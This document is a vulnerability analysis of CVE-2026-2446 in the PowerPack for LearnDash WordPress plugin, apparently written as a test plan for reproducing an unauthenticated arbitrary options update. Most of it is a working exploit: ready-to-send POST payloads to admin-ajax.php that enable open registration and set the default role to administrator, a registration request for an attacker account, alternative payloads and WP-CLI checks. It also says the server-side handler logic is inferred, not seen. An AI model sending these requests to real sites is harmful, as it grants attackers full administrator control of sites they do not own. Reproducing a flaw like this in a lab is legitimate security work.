Vulnerability Analysis: CVE-2026-2446 - PowerPack for LearnDash Unauthenticated Arbitrary Options Update

1. Vulnerability Summary

The PowerPack for LearnDash plugin (up to version 1.2.0) contains a critical vulnerability where the AJAX handler for saving class settings lacks both a capability check and nonce verification. This allows an unauthenticated attacker to trigger the update of arbitrary WordPress options by sending a crafted POST request to admin-ajax.php.

The vulnerability resides in the function associated with the AJAX action learndash_save_class_data_ajax. While the source code for the PHP handler itself was not provided, the client-side implementation in assets/js/admin/learndash-powerpack-custom-jquery-func.js and the vulnerability description confirm that user-supplied form data is processed and saved to the database without authorization.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: learndash_save_class_data_ajax
• Parameters:
  • action: learndash_save_class_data_ajax
  • class_name: A string identifier for the setting group (e.g., LearnDash_PowerPack_Settings).
  • formData: An array of objects, where each object contains a name (the WordPress option key) and a value (the desired option value).
• Authentication: None (Unauthenticated). The plugin likely registers the hook via wp_ajax_nopriv_learndash_save_class_data_ajax.
• Preconditions: The plugin must be active.

3. Code Flow

1. Entry Point: An unauthenticated user sends a POST request to wp-admin/admin-ajax.php with the action learndash_save_class_data_ajax.
2. AJAX Routing: WordPress routes the request to the handler registered by the plugin (inferred function name: learndash_save_class_data_ajax).
3. Vulnerable Logic (Inferred):
   • The handler receives the formData array from $_POST.
   • The handler iterates through the elements of formData.
   • For each element, it extracts name and value.
   • The Sink: The handler calls update_option( $item['name'], $item['value'] ) without verifying if the user has manage_options capabilities or if a valid nonce was provided.
4. Impact: The attacker can overwrite core WordPress settings, such as users_can_register and default_role.

4. Nonce Acquisition Strategy

Based on the provided source code in assets/js/admin/learndash-powerpack-custom-jquery-func.js:

• The AJAX data object defined in the .learndash_save_form_data click handler does not include a nonce parameter.
• The localization object learndash_powerpack_jquery_var (registered in class-learndash-powerpack-admin-assets.php) only contains ajax_url and ld_success_message.
• Conclusion: The endpoint does not implement nonce verification. No nonce is required for exploitation.

5. Exploitation Strategy

Step 1: Enable Open Registration and Set Default Role to Admin

The goal is to allow anyone to register and ensure new users are granted the administrator role.

• HTTP Request (Playwright/http_request):

  POST /wp-admin/admin-ajax.php HTTP/1.1
  Content-Type: application/x-www-form-urlencoded
  
  action=learndash_save_class_data_ajax&class_name=LearnDash_PowerPack_General_Settings&formData[0][name]=users_can_register&formData[0][value]=1&formData[1][name]=default_role&formData[1][value]=administrator
  

Step 2: Register a New Account

Once the options are updated, the attacker can use the standard WordPress registration endpoint.

• HTTP Request:

  POST /wp-login.php?action=register HTTP/1.1
  Content-Type: application/x-www-form-urlencoded
  
  user_login=attacker_admin&user_email=attacker@example.com&redirect_to=&wp-submit=Register
  

Step 3: Verify and Access

The attacker checks their email for the registration link (in a test environment, this can be bypassed or checked via WP-CLI) and logs in as a full administrator.

6. Test Data Setup

1. Install and activate LearnDash LMS (dependency).
2. Install and activate PowerPack for LearnDash version 1.2.0.
3. Ensure users_can_register is initially 0 (default).
4. Ensure default_role is initially subscriber (default).

7. Expected Results

• The AJAX request should return a successful response (likely JSON containing {"success": "success"} or similar based on the JS logic).
• The WordPress options users_can_register will be updated to 1.
• The WordPress option default_role will be updated to administrator.

8. Verification Steps

After performing the HTTP exploit, use WP-CLI to verify the state change:

# Check if registration is enabled
wp option get users_can_register
# Expected: 1

# Check the default role
wp option get default_role
# Expected: administrator

# (Optional) Verify the new user role if registered in Step 2
wp user list --role=administrator

9. Alternative Approaches

If the formData structure is parsed differently by the plugin (e.g., if it expects a flat key-value pair instead of the serializeArray format), try a flattened payload:

• Alternative Payload:

  action=learndash_save_class_data_ajax&class_name=LearnDash_PowerPack_General_Settings&users_can_register=1&default_role=administrator
  

If the plugin filters which options can be updated based on the class_name (unlikely given the "arbitrary options" description), identify valid class names using:

grep -r "class LearnDash_PowerPack_" .

And substitute the class_name parameter with one found (e.g., LearnDash_PowerPack_Course_Settings).